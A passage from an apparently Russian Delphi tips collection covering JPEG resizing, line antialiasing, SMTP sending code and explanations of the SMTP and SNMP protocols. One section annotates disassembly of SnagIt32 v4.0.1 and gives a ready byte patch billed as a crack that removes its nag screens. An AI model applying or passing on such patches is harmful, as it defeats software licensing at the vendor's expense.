           SrcLine2[t3 + 1].rgbtBlue * w4) shr 16;
         Inc(xP, xP2);
       end; {for}
       Inc(yP, yP2);
       DstLine := pRGBArray(Integer(DstLine) + DstGap);
     end; {for}
   end; {if}
 end; {SmoothResize}
 {--------------------------------------------------------------------------- 
-----------------------}
 function LoadJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string): Boolean;
 var
   JPEGImage: TJPEGImage;
 begin
   if (FileName = '') then    // No FileName so nothing 
    Result := False  //to load - return False... 
  else
   begin
     try  // Start of try except 
      JPEGImage := TJPEGImage.Create;  // Create the JPEG image... try  // now 
      try  // to load the file but 
        JPEGImage.LoadFromFile(FilePath + FileName);
         // might fail...with an Exception. 
        Bitmap.Assign(JPEGImage);
         // Assign the image to our bitmap.Result := True; 
        // Got it so return True. 
      finally
         JPEGImage.Free;  // ...must get rid of the JPEG image. finally 
      end; {try}
     except
       Result := False; // Oops...never Loaded, so return False. 
    end; {try}
   end; {if}
 end; {LoadJPEGPictureFile}
 {--------------------------------------------------------------------------- 
-----------------------}
 function SaveJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string;
   Quality: Integer): Boolean;
 begin
   Result := True;
   try
     if ForceDirectories(FilePath) then
     begin
       with TJPegImage.Create do
       begin
         try
           Assign(Bitmap);
           CompressionQuality := Quality;
           SaveToFile(FilePath + FileName);
         finally
           Free;
         end; {try}
       end; {with}
     end; {if}
   except
     raise;
     Result := False;
   end; {try}
 end; {SaveJPEGPictureFile}
 {--------------------------------------------------------------------------- 
-----------------------}
 procedure ResizeImage(FileName: string; MaxWidth: Integer);
 var
   OldBitmap: TBitmap;
   NewBitmap: TBitmap;
   aWidth: Integer;
 begin
   OldBitmap := TBitmap.Create;
   try
     if LoadJPEGPictureFile(OldBitmap, ExtractFilePath(FileName),
       ExtractFileName(FileName)) then
     begin
       aWidth := OldBitmap.Width;
       if (OldBitmap.Width > MaxWidth) then
       begin
         aWidth    := MaxWidth;
         NewBitmap := TBitmap.Create;
         try
           NewBitmap.Width  := MaxWidth;
           NewBitmap.Height := MulDiv(MaxWidth, OldBitmap.Height, OldBitmap.Width);
           SmoothResize(OldBitmap, NewBitmap);
           RenameFile(FileName, ChangeFileExt(FileName, '.$$$'));
           if SaveJPEGPictureFile(NewBitmap, ExtractFilePath(FileName),
             ExtractFileName(FileName), 75) then
             DeleteFile(ChangeFileExt(FileName, '.$$$'))
           else
             RenameFile(ChangeFileExt(FileName, '.$$$'), FileName);
         finally
           NewBitmap.Free;
         end; {try}
       end; {if}
     end; {if}
   finally
     OldBitmap.Free;
   end; {try}
 end;
 {--------------------------------------------------------------------------- 
-----------------------}
 function JPEGDimensions(Filename : string; var X, Y : Word) : boolean;
 var
   SegmentPos : Integer;
   SOIcount : Integer;
   b : byte;
 begin
   Result  := False;
   with TFileStream.Create(Filename, fmOpenRead or fmShareDenyNone) do
   begin
     try
       Position := 0;
       Read(X, 2);
       if (X <> $D8FF) then
         exit;
       SOIcount  := 0;
       Position  := 0;
       while (Position + 7 < Size) do
       begin
         Read(b, 1);
         if (b = $FF) then begin
           Read(b, 1);
           if (b = $D8) then
             inc(SOIcount);
           if (b = $DA) then
             break;
         end; {if}
       end; {while}
       if (b <> $DA) then
         exit;
       SegmentPos  := -1;
       Position    := 0;
       while (Position + 7 < Size) do
       begin
         Read(b, 1);
         if (b = $FF) then
         begin
           Read(b, 1);
           if (b in [$C0, $C1, $C2]) then
           begin
             SegmentPos  := Position;
             dec(SOIcount);
             if (SOIcount = 0) then
               break;
           end; {if}
         end; {if}
       end; {while}
       if (SegmentPos = -1) then
         exit;
       if (Position + 7 > Size) then
         exit;
       Position := SegmentPos + 3;
       Read(Y, 2);
       Read(X, 2);
       X := Swap(X);
       Y := Swap(Y);
       Result  := true;
     finally
       Free;
     end; {try}
   end; {with}
 end; {JPEGDimensions}

Убрать зазубринки при рисовании линий.

При рисовании линии, особенно под маленьким углом, хорошо различимы отдельные точки. Для устранения этого недостатка я использую уменьшение изображения, как в предыдущем совете.

procedure TForm1.Button1Click(Sender: TObject);
var
  x, y: integer;
  i, j: integer;
  r, g, b: integer;
begin
  Form1.Canvas.Pen.Width := 10;
  Form1.Canvas.MoveTo(10, 10);
  Form1.Canvas.LineTo(90, 20);
  for y := 0 to 10 do
  begin
    for x := 0 to 25 do
    begin
      r := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          r := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      r := round(r / 16);
      g := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          g := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      g := round(g / 16);
      b := 0;
      for i := 0 to 3 do
        for j := 0 to 3 do
          b := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
      b := round(b / 16);
      Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b)
    end;
    Application.ProcessMessages;
  end;
end;

Найти smtp mailserver по умолчанию.

Автор: http://www.swissdelphicenter.ch

{
  Here is some code I successfully used te determine
  the DEFAULT mailaccount, which is used in
  Outlook Express, to send outgoing mail via SMTP.
}
procedure TForm1.ReadRegistryDefaults;
var
  Registry: TRegistry;
  AccountStr: string;
begin
  Registry := TRegistry.Create;
  try
    Registry.RootKey := hkey_CURRENT_USER;
    if Registry.OpenKey('software\microsoft\internet account manager', False)
      then {}
    begin
      AccountStr := Registry.ReadString('default mail account');
      Registry.CloseKey;
      if (AccountStr <> '') then
        if
          Registry.OpenKey('software\microsoft\internet account manager\accounts\'
          +
          AccountStr, False) then {}
        begin
          Edit_Server.Text := Registry.ReadString('SMTP Server');
          Edit_Account.Text := Registry.ReadString('SMTP Email Address');
          Registry.CloseKey;
        end;
    end;
  finally
    Registry.Free;
  end;
end;

Пример работы с SMTP.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, ComCtrls, Psock, NMsmtp;
type
  TForm1 = class(TForm)
    Memo: TRichEdit;
    Panel1: TPanel;
    SMTP: TNMSMTP;
    Panel2: TPanel;
    FromAddress: TEdit;
    predefined: TLabel;
    FromName: TEdit;
    Subject: TEdit;
    LocalProgram: TEdit;
    ReplyTo: TEdit;
    islog: TCheckBox;
    Host: TEdit;
    Port: TEdit;
    userid: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    procedure CleanContext;
    procedure PerformConnection;
    procedure AddMessage(msg: string; color: integer);
    procedure log(inpt: string);
    procedure SetSMTP;
  public
    function SendEmail(_to, cc, bcc, Subject, body, attachment: string;
      HTMLFormat: boolean): boolean;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SetSMTP;
begin
  SMTP.Host := Host.Text;
  SMTP.Port := strtoint(Port.text);
  SMTP.UserID := userid.text;
end;
function GetEmailDateTime: string;
var
  tz: _time_Zone_information;
  s: string;
begin
  GetTimeZoneInformation(tz);
  if (tz.Bias * 100 div 60) < 1000 then
    s := format(' -0%d', [tz.Bias * 100 div 60])
  else
    s := format(' -%d', [tz.Bias * 100 div 60]);
  result := formatdatetime('ddd, dd mmm yyyy hh:nn:ss', now) + s;
end;
procedure TForm1.CleanContext;
{set default values, some of them comes from "Setup" form}
begin
  SMTP.PostMessage.FromAddress := FromAddress.text;
  SMTP.PostMessage.FromName := FromName.text;
  SMTP.PostMessage.ToAddress.Clear;
  SMTP.PostMessage.ToCarbonCopy.clear;
  SMTP.PostMessage.ToBlindCarbonCopy.clear;
  SMTP.PostMessage.Body.clear;
  SMTP.PostMessage.Attachments.clear;
  SMTP.PostMessage.Subject := Subject.text;
  SMTP.PostMessage.LocalProgram := LocalProgram.text;
  (*Mon, 27 Nov 2000 12:37:46 -0700*)
  SMTP.PostMessage.Date := GetEmailDateTime;
  SMTP.PostMessage.ReplyTo := ReplyTo.Text;
end;
procedure TForm1.log(inpt: string);
var
  outf: textfile;
begin {writing in the log file}
  if not islog.checked then
    exit;
  assignfile(outf, changefileext(paramstr(0), '.log'));
  if fileexists(changefileext(paramstr(0), '.log')) then
    append(outf)
  else
    rewrite(outf);
  writeln(outf, datetimetostr(now) + '|' + inpt);
  closefile(outf);
end;
procedure TForm1.AddMessage(msg: string; color: integer);
begin {showing in the memo field progress...}
  while memo.lines.Count > 2000 do
    memo.lines.Delete(0);
  memo.sellength := 0;
  memo.selstart := length(memo.text);
  memo.selattributes.Color := Color;
  memo.seltext := #13#10+DateTimeTostr(now) + ' ' + msg;
  memo.perform($00B7, 0, 0);
  Application.ProcessMessages;
  if color <> clRed then
    log(DateTimeTostr(now) + ' ' + msg)
  else
    log('Error: ' + DateTimeTostr(now) + ' ' + msg);
end;
procedure TForm1.PerformConnection;
begin
  while (not SMTP.connected) do
  begin
    SetSMTP;
    AddMessage('Connecting to SMTP', clBlue);
    application.processmessages;
    try
      SMTP.Connect;
      AddMessage('No Errors', clBlue);
    except
      on e: exception do
        AddMessage('Error conection: ' + e.message, clBlue);
    end;
  end;
end;
function TForm1.SendEmail(_to, cc, bcc, Subject, body, attachment: string;
  HTMLFormat: boolean): boolean;
begin
  PerformConnection;
  result := true;
  CleanContext;
  try
    if (attachment <> '') and (not Fileexists(attachment)) then
    begin
      AddMessage('Attachment is not ready yet (' + attachment + ') ', clNavy);
      sleep(300);
      result := false;
      exit;
    end;
    SMTP.PostMessage.ToAddress.text := StringReplace(_to, ';', #13#10,
    [rfReplaceAll, rfIgnoreCase]);
    if cc <> '' then
      SMTP.PostMessage.ToCarbonCopy.text := StringReplace(cc, ';', #13#10,
      [rfReplaceAll, rfIgnoreCase]);
    if bcc <> '' then
      SMTP.PostMessage.ToBlindCarbonCopy.text := StringReplace(bcc, ';', #13#10,
      [rfReplaceAll, rfIgnoreCase]);
    if Subject <> '' then
      SMTP.PostMessage.Subject := Subject;
    if HTMLFormat then
      SMTP.SubType := mtPlain
    else
      SMTP.SubType := mtHtml;
    SMTP.PostMessage.Body.Text := Body;
    if attachment <> '' then
      SMTP.PostMessage.Attachments.add(attachment);
    AddMessage('Sending to ' + _to, clGreen);
    SMTP.SendMail;
    AddMessage('Complete.' + #13#10,clGreen);
 except
    on e: sysutils.exception do
    begin
      AddMessage(e.message, clRed);
      result := false;
    end;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  SendEmail('vit@vingrad.ru', '', '', 'test', 'body', '', False);
end;
end.

А это форма для этого примера:

object Form1: TForm1
  Left = 278
  Top = 108
  Width = 539
  Height = 480
  Caption = 'Form1'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object Memo: TRichEdit
    Left = 0
    Top = 0
    Width = 346
    Height = 420
    Align = alClient
    Lines.Strings = ('Memo')
    TabOrder = 0
  end
  object Panel1: TPanel
    Left = 0
    Top = 420
    Width = 531
    Height = 33
    Align = alBottom
    Caption = 'Panel1'
    TabOrder = 1
    object Button1: TButton
      Left = 440
      Top = 8
      Width = 75
      Height = 25
      Caption = 'Button1'
      TabOrder = 0
      OnClick = Button1Click
    end
  end
  object Panel2: TPanel
    Left = 346
    Top = 0
    Width = 185
    Height = 420
    Align = alRight
    Caption = 'Panel2'
    TabOrder = 2
    object predefined: TLabel
      Left = 8
      Top = 8
      Width = 87
      Height = 13
      Caption = 'predefined values:'
    end
    object FromAddress: TEdit
      Left = 24
      Top = 32
      Width = 121
      Height = 21
      TabOrder = 0
      Text = 'FromAddress'
    end
    object FromName: TEdit
      Left = 24
      Top = 56
      Width = 121
      Height = 21
      TabOrder = 1
      Text = 'FromName'
    end
    object Subject: TEdit
      Left = 24
      Top = 80
      Width = 121
      Height = 21
      TabOrder = 2
      Text = 'Subject'
    end
    object LocalProgram: TEdit
      Left = 24
      Top = 104
      Width = 121
      Height = 21
      TabOrder = 3
      Text = 'LocalProgram'
    end
    object ReplyTo: TEdit
      Left = 24
      Top = 128
      Width = 121
      Height = 21
      TabOrder = 4
      Text = 'ReplyTo'
    end
    object islog: TCheckBox
      Left = 32
      Top = 168
      Width = 97
      Height = 17
      Caption = 'islog'
      TabOrder = 5
    end
    object Host: TEdit
      Left = 24
      Top = 240
      Width = 121
      Height = 21
      TabOrder = 6
      Text = 'Host'
    end
    object Port: TEdit
      Left = 24
      Top = 264
      Width = 121
      Height = 21
      TabOrder = 7
      Text = 'Port'
    end
    object userid: TEdit
      Left = 24
      Top = 288
      Width = 121
      Height = 21
      TabOrder = 8
      Text = 'userid'
    end
  end
  object SMTP: TNMSMTP
    Port = 25
    ReportLevel = 0
    EncodeType = uuMime
    ClearParams = True
    SubType = mtPlain
    Charset = 'us-ascii'
    Left = 296
    Top = 32
  end
end

Простой протокол передачи почты (SMTP).

Агент передачи почты - основной компонент системы передачи почты Internet. Как уже говорилось, МТА как бы представляет данный сетевой компьютер для сетевой системы электронной почты. Пользователи редко имеют дело с МТА, поскольку он не вполне "дружелюбен", однако без него не обходится ни одна почтовая система. После того как UA пошлет сообщение в выходную очередь, за дело принимается МТА. Он извлекает сообщение и посылает его другому МТА. Этот процесс продолжается до тех пор, пока сообщение не достигнет компьютера-получателя. Для передачи сообщений по TCP-соединению большинство МТА пользуются протоколом SMTP. Сообщения форматированы по правилам виртуального сетевого терминала (NVT), то есть в NVT ASCII. NVT подобен виртуальному сетевому протоколу и нужен затем, чтобы скрыть различия в восприятии разными компьютерами разных символов, например переводов каретки, переводов строки, маркеров конца строки, очистки экрана и т. д. Символ в NVT состоит из семи битов набора ASCII и является буквой, цифрой или знаком пунктуации. Семи битный набор ASCII часто называется NVT ASCII.

Модель протокола

Взаимодействие в рамках SMTP строится по принципу двусторонней связи, которая устанавливается между отправителем и получателем почтового сообщения. При этом отправитель инициирует соединение и посылает запросы на обслуживание, а получатель - отвечает на эти запросы. Фактически отправитель выступает в роли клиента, а получатель - сервера.

Канал связи устанавливается непосредственно между отправителем и получателем сообщения. При таком взаимодействии почта достигает абонента в течение нескольких секунд после отправки.

Команды SMTP

Простой протокол передачи почты обеспечивает двухсторонний обмен сообщениями между локальным клиентом и удаленным сервером МТА. МТА-клиент шлет команды МТА-серверу, а он, в свою очередь, отвечает клиенту. Другими словами, протокол SMTP требует получать ответы (они описаны в этой главе) от приемника команд SMTP. Обмен командами и ответами на них называется почтовой транзакцией (mail transaction). Данные, как мы уже говорили, передаются в формате NVT ASCII. Кроме того, команды тоже передаются в формате NVT ASCII. Команды передаются в форме ключевых слов, а не специальных символов, и указывают на необходимость совершить ту или иную операцию. В табл.1 приведен список ключевых слов (команд), определенный в спецификации SMTP - RFC 821.

Примечание: В RFC 821 сказано, что команда VRFY не является обязательной для минимального набора команд SMTP. Однако в RFC 1123 (Requirements for Internet Hosts - Application and Support,Braden, 1989), команда VRFY фигурирует в списке обязательных для Internet команд реализации SMTP.

Использование SMTP Relay Server.

Использование SMTP Relay Server - отсылка письма напрямую минуя любые промежуточные сервера (пример взят из библиотеки Indy). Для отсылки письма с использованием компонентов Indy. Пример для Delphi 7 (скорее всего будет работать и в Delphi 6), для Kylix 3 нужны небольшие исправления для перевода в CLX приложение (сама функциональность та же).

unit fMain;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdComponent,
  IdUDPBase, IdUDPClient, IdDNSResolver, IdBaseComponent, IdMessage,
  StdCtrls, ExtCtrls, ComCtrls, IdAntiFreezeBase, IdAntiFreeze;
type
  TfrmMain = class(TForm)
    IdMessage: TIdMessage;
    IdDNSResolver: TIdDNSResolver;
    IdSMTP: TIdSMTP;
    Label1: TLabel;
    sbMain: TStatusBar;
    Label2: TLabel;
    edtDNS: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    edtSender: TEdit;
    Label5: TLabel;
    edtRecipient: TEdit;
    Label6: TLabel;
    edtSubject: TEdit;
    Label7: TLabel;
    mmoMessageText: TMemo;
    btnSendMail: TButton;
    btnExit: TButton;
    IdAntiFreeze: TIdAntiFreeze;
    Label8: TLabel;
    edtTimeOut: TEdit;
    Label9: TLabel;
    Label10: TLabel;
    procedure btnExitClick(Sender: TObject);
    procedure btnSendMailClick(Sender: TObject);
  public
    fMailServers: TStringList;
    function PadZero(s: string): string;
    function GetMailServers: Boolean;
    function ValidData: Boolean;
    procedure SendMail; overload;
    function SendMail(aHost: string): Boolean; overload;
    procedure LockControls;
    procedure UnlockControls;
    procedure Msg(aMessage: string);
  end;
var
  frmMain: TfrmMain;
implementation
{$R *.DFM}
procedure TfrmMain.btnExitClick(Sender: TObject);
begin
  application.terminate;
end;
procedure TfrmMain.btnSendMailClick(Sender: TObject);
begin
  Msg('');
  LockControls;
  if ValidData then
    SendMail;
  UnlockControls;
  Msg('');
end;
function TfrmMain.GetMailServers: Boolean;
var
  i, x: integer;
  LDomainPart: string;
  LMXRecord: TMXRecord;
begin
  if not assigned(fmailServers) then
    fMailServers := TStringList.Create;
  fmailServers.clear;
  Result := true;
  with IdDNSResolver do
  begin
    QueryResult.Clear;
    QueryRecords := [qtMX];
    Msg('Setting up DNS query parameters');
    Host := edtDNS.text;
    ReceiveTimeout := StrToInt(edtTimeOut.text);
    // Extract the domain part from recipient email address
    LDomainPart := copy(edtRecipient.text, pos('@', edtRecipient.text) + 1,
      length(edtRecipient.text));
    // the domain name to resolve
    try
      Msg('Resolving DNS');
      Resolve(LDomainPart);
      if QueryResult.Count > 0 then
      begin
        for i := 0 to QueryResult.Count - 1 do
        begin
          LMXRecord := TMXRecord(QueryResult.Items[i]);
          fMailServers.Append(PadZero(IntToStr(LMXRecord.Preference)) + '=' +
            LMXRecord.ExchangeServer);
        end;
        // sort in order of priority and then remove extra data
        fMailServers.Sorted := false;
        for i := 0 to fMailServers.count - 1 do
        begin
          x := pos('=', fMailServers.Strings[i]);
          if x > 0 then
            fMailServers.Strings[i] :=
              copy(fMailServers.Strings[i], x + 1,
                length(fMailServers.Strings[i]));
        end;
        fMailServers.Sorted := true;
        fMailServers.Duplicates := dupIgnore;
        Result := true;
      end
      else
      begin
        Msg('No response from DNS server');
        MessageDlg('There is no response from the DNS server !', mtInformation,
          [mbOK], 0);
        Result := false;
      end;
    except
      on E: Exception do
      begin
        Msg('Error resolving domain');
        MessageDlg('Error resolving domain: ' + e.message, mtInformation,
          [mbOK], 0);
        Result := false;
      end;
    end;
  end;
end;
// Used in DNS preferance sorting
procedure TfrmMain.LockControls;
var
  i: integer;
begin
  edtDNS.enabled := false;
  edtSender.enabled := false;
  edtRecipient.enabled := false;
  edtSubject.enabled := false;
  mmoMessageText.enabled := false;
  btnExit.enabled := false;
  btnSendMail.enabled := false;
end;
procedure TfrmMain.UnlockControls;
begin
  edtDNS.enabled := true;
  edtSender.enabled := true;
  edtRecipient.enabled := true;
  edtSubject.enabled := true;
  mmoMessageText.enabled := true;
  btnExit.enabled := true;
  btnSendMail.enabled := true;
end;
function TfrmMain.PadZero(s: string): string;
begin
  if length(s) < 2 then
    s := '0' + s;
  Result := s;
end;
procedure TfrmMain.SendMail;
var
  i: integer;
begin
  if GetMailServers then
  begin
    with IdMessage do
    begin
      Msg('Assigning mail message properties');
      From.Text := edtSender.text;
      Sender.Text := edtSender.text;
      Recipients.EMailAddresses := edtRecipient.text;
      Subject := edtSubject.text;
      Body := mmoMessageText.Lines;
    end;
    for i := 0 to fMailServers.count - 1 do
    begin
      Msg('Attempting to send mail');
      if SendMail(fMailServers.Strings[i]) then
      begin
        MessageDlg('Mail successfully sent and available for pickup by recipient !',
          mtInformation, [mbOK], 0);
        Exit;
      end;
    end;
    // if we are here then something went wrong .. 
    // ie there were no available servers to accept our mail!
    MessageDlg('Could not send mail to remote server - please try again later.',
      mtInformation, [mbOK], 0);
  end;
  if assigned(fMailServers) then
    FreeAndNil(fMailServers);
end;
function TfrmMain.SendMail(aHost: string): Boolean;
begin
  Result := false;
  with IdSMTP do
  begin
    Caption := 'Trying to sendmail via: ' + aHost;
    Msg('Trying to sendmail via: ' + aHost);
    Host := aHost;
    try
      Msg('Attempting connect');
      Connect;
      Msg('Successful connect ... sending message');
      Send(IdMessage);
      Msg('Attempting disconnect');
      Disconnect;
      msg('Successful disconnect');
      Result := true;
    except on E: Exception do
      begin
        if connected then
        try
          disconnect;
        except
        end;
        Msg('Error sending message');
        result := false;
        ShowMessage(E.Message);
      end;
    end;
  end;
  Caption := '';
end;
function TfrmMain.ValidData: Boolean;
var
  ErrString: string;
begin
  Result := True;
  ErrString := '';
  if trim(edtDNS.text) = '' then
    ErrString := ErrString + #13 + '»'  + 'DNS server not filled in';
  if trim(edtSender.text) = '' then
    ErrString := ErrString + #13 + '»'  + 'Sender email not filled in';
  if trim(edtRecipient.text) = '' then
    ErrString := ErrString + #13 + '»'  + 'Recipient not filled in';
  if ErrString <> '' then
  begin
    MessageDlg('Cannot proceed due to the following errors:' + #13 + #10 +
      ErrString, mtInformation, [mbOK], 0);
    Result := False;
  end;
end;
procedure TfrmMain.Msg(aMessage: string);
begin
  sbMain.SimpleText := aMessage;
  application.ProcessMessages;
end;
end.

Форма для модуля:

object frmMain: TfrmMain
   Left = 243
   Top = 129
   Width = 448
   Height = 398
   Caption = 'INDY - SMTP Relay Demo'
   Color = clBtnFace
   Font.Charset = DEFAULT_CHARSET
   Font.Color = clWindowText
   Font.Height = -11
   Font.Name = 'MS Sans Serif'
   Font.Style = []
   OldCreateOrder = False
   PixelsPerInch = 96
   TextHeight = 13
   object Label1: TLabel
     Left = 7
     Top = 8
     Width = 311
     Height = 26
     Caption =
        'Demonstrates sending mail directly to a users mailbox on a remot' +
       'e mailserver - this negates the need for a local SMTP server'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
     WordWrap = True
   end
   object Label2: TLabel
     Left = 8
     Top = 64
     Width = 111
     Height = 13
     Caption = 'DNS server IP address:'
   end
   object Label3: TLabel
     Left = 8
     Top = 123
     Width = 104
     Height = 13
     Caption = 'Sender email address:'
   end
   object Label4: TLabel
     Left = 288
     Top = 64
     Width = 49
     Height = 13
     Caption = 'Required !'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
   end
   object Label5: TLabel
     Left = 8
     Top = 150
     Width = 115
     Height = 13
     Caption = 'Recipient email address:'
   end
   object Label6: TLabel
     Left = 8
     Top = 177
     Width = 72
     Height = 13
     Caption = 'Subject of mail:'
   end
   object Label7: TLabel
     Left = 8
     Top = 204
     Width = 66
     Height = 13
     Caption = 'Message text:'
   end
   object Label8: TLabel
     Left = 8
     Top = 91
     Width = 95
     Height = 13
     Caption = 'DNS server timeout:'
   end
   object Label9: TLabel
     Left = 336
     Top = 124
     Width = 49
     Height = 13
     Caption = 'Required !'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
   end
   object Label10: TLabel
     Left = 336
     Top = 148
     Width = 49
     Height = 13
     Caption = 'Required !'
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clGray
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     ParentFont = False
   end
   object sbMain: TStatusBar
     Left = 0
     Top = 352
     Width = 440
     Height = 19
     Panels = <>
   end
   object edtDNS: TEdit
     Left = 128
     Top = 60
     Width = 153
     Height = 21
     TabOrder = 1
   end
   object edtSender: TEdit
     Left = 128
     Top = 119
     Width = 205
     Height = 21
     TabOrder = 2
   end
   object edtRecipient: TEdit
     Left = 128
     Top = 146
     Width = 205
     Height = 21
     TabOrder = 3
   end
   object edtSubject: TEdit
     Left = 128
     Top = 173
     Width = 205
     Height = 21
     TabOrder = 4
   end
   object mmoMessageText: TMemo
     Left = 128
     Top = 200
     Width = 205
     Height = 113
     TabOrder = 5
   end
   object btnSendMail: TButton
     Left = 258
     Top = 321
     Width = 75
     Height = 25
     Caption = 'Send mail !'
     TabOrder = 6
     OnClick = btnSendMailClick
   end
   object btnExit: TButton
     Left = 356
     Top = 8
     Width = 75
     Height = 25
     Caption = 'E&xit'
     TabOrder = 7
     OnClick = btnExitClick
   end
   object edtTimeOut: TEdit
     Left = 128
     Top = 87
     Width = 61
     Height = 21
     TabOrder = 8
     Text = '5000'
   end
   object IdMessage: TIdMessage
     AttachmentEncoding = 'MIME'
     BccList = <>
     CCList = <>
     Encoding = meMIME
     Recipients = <>
     ReplyTo = <>
     Left = 12
     Top = 236
   end
   object IdDNSResolver: TIdDNSResolver
     Port = 53
     ReceiveTimeout = 60
     QueryRecords = []
     Left = 12
     Top = 268
   end
   object IdSMTP: TIdSMTP
     MaxLineAction = maException
     ReadTimeout = 0
     Port = 25
     AuthenticationType = atNone
     Left = 12
     Top = 204
   end
   object IdAntiFreeze: TIdAntiFreeze
     Left = 12
     Top = 300
   end
 end

Исследование SnagIt32 v4.0.1.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

:0043FF94 FF15F8EF4700            call USER32.EnableWindow
:0043FF9A C745E401000000          mov [ebp-1C], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF4D(C)
|
:0043FF59 837DEC00                cmp dword ptr [ebp-14], 00000000 ;перед этим чего-то проверили
:0043FF5D 7508                    jne 0043FF67 ;если мы анрегистред - то прыгаем
:0043FF5F 83C8FF                  or eax, FFFFFFFF
:0043FF62 E9EC000000              jmp 00440053 ;иначе прыгаем на выход из функции и никакого напоминания не показываем
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF5D(C)
|
:0043FF67 8BCE                    mov ecx, esi
:0043FF69 E81AFFFFFF              call 0043FE88
:0043FF6E 8BF8                    mov edi, eax
:0043FF70 897DE0                  mov dword ptr [ebp-20], edi
:0043FF73 E8480D0000              call 00440CC0
:0043FF78 57                      push edi
:0043FF79 E8E5070000              call 00440763
:0043FF7E 8365E400                and dword ptr [ebp-1C], 00000000
:0043FF82 85FF                    test edi, edi
:0043FF84 741B                    je 0043FFA1
:0043FF86 57                      push edi
* Reference To: USER32.IsWindowEnabled, Ord:0168h ;проверяют активно ли главное окно
                                  |
:0043FF87 FF15D0EF4700            Call dword ptr [0047EFD0]
:0043FF8D 85C0                    test eax, eax
:0043FF8F 7410                    je 0043FFA1 ;если нет то прыгаем....
:0043FF91 6A00                    push 00000000
:0043FF93 57                      push edi
* Reference To: USER32.EnableWindow, Ord:00B2h ;...иначе - делаем его неактивным
                                  |
:0043FF94 FF15F8EF4700            Call dword ptr [0047EFF8]
:0043FF9A C745E401000000          mov [ebp-1C], 00000001

:0043FF5D 7508                    jne 0043FF67

-------вырезать тут-----------
SnagIt32 v [4.0.1] CRACK by vallkor//PTDS
it'll remove all nag screens!!! 
snagit32.exe
0003F35E: 08 00
------вырезать тут------------

Управляющий протокол SNMP.

Internet - гигантская сеть. Напрашивается вопрос, как она сохраняет свою целостность и функциональность без единого управления? Если учесть разнородность ЭВМ, маршрутизаторов и программного обеспечения, используемых в сети, само существование Internet представится просто чудом. Так все же как решаются проблемы управления в Internet? Отчасти на этот вопрос уже дан ответ - сеть сохраняет работоспособность благодаря жесткой протокольной регламентации.

"Запас прочности" заложен в самих протоколах. Функции диагностики возложены, на протокол ICMP. Учитывая важность функции управления, для этих целей создано два протокола SNMP ( Simple Network Management Protocol - 1988г. ) и CMOT ( Common Management Information Services and Protocol over TCP/IP). Чаще всего управляющая прикладная программа воздействует на сеть по цепочке SNMP-UDP-IP-физическая_сеть. Наиболее важным объектом управления обычно является внешний порт сети или маршрутизатор. Каждому управляемому объекту присваивается уникальный идентификатор.

Протокол SNMP работает на базе протокола UDP и предназначен для использования сетевыми управляющими станциями. Он позволяет управляющим станциям собирать информацию о положении в сети Internet. Протокол определяет формат данных, их обработка и интерпретация остаются на усмотрение управляющих станций или менеджера сети. SNMP-сообщения не имеют фиксированного формата и фиксированных полей. При работе протокол SNMP использует управляющую базу данных (MIB — Management Information Base, RFC-1213,-1212).

Алгоритмы управления в Internet обычно описывают в нотации ASN.1 (Abstract Syntax Notation). Все объекты в Internet разделены на 10 групп и описаны в MIB: система, интерфейсы, обмены, трансляция адресов, IP, ICMP, TCP, UDP, EGP, SNMP. В группу "система" входит название и версия оборудования, операционной системы, сетевого программного обеспечения и пр. В группу "интерфейсы" входит число поддерживаемых интерфейсов, тип интерфейса, работающего под управлением IP (Ethernet, LAPB и т.д.), размер дейтограмм, скорость обмена, адрес интерфейса. IP-группа включает время жизни дейтограмм, информацию о фрагментации, маски субсетей и т.д. В TCP-группу входит алгоритм повторной пересылки, максимальное число повторных пересылок и пр. Команды SNMP приведены в табл. 1.15. В таблице PDU (Protocol Data Unit) - это тип протокольного сообщения.

Поле Версия содержит значение, равное номеру версии SNMP минус один. Поле Пароль (community - определяет группу доступа) содержит последовательность символов, которая является пропуском при взаимодействии менеджера и объекта управления. Обычно это поле содержит 6-байтовую строку public. Для запросов get, get-next и set значение поля Идентификатора запроса устанавливается менеджером и возвращается объектом управления в отклике get, что позволяет связывать в пары запросы и отклики. Поле Фирма (enterprise) = sysObjectlD объекта. Поле Статус ошибки характеризуется целым числом, присланным объектом управления (табл.1.16).

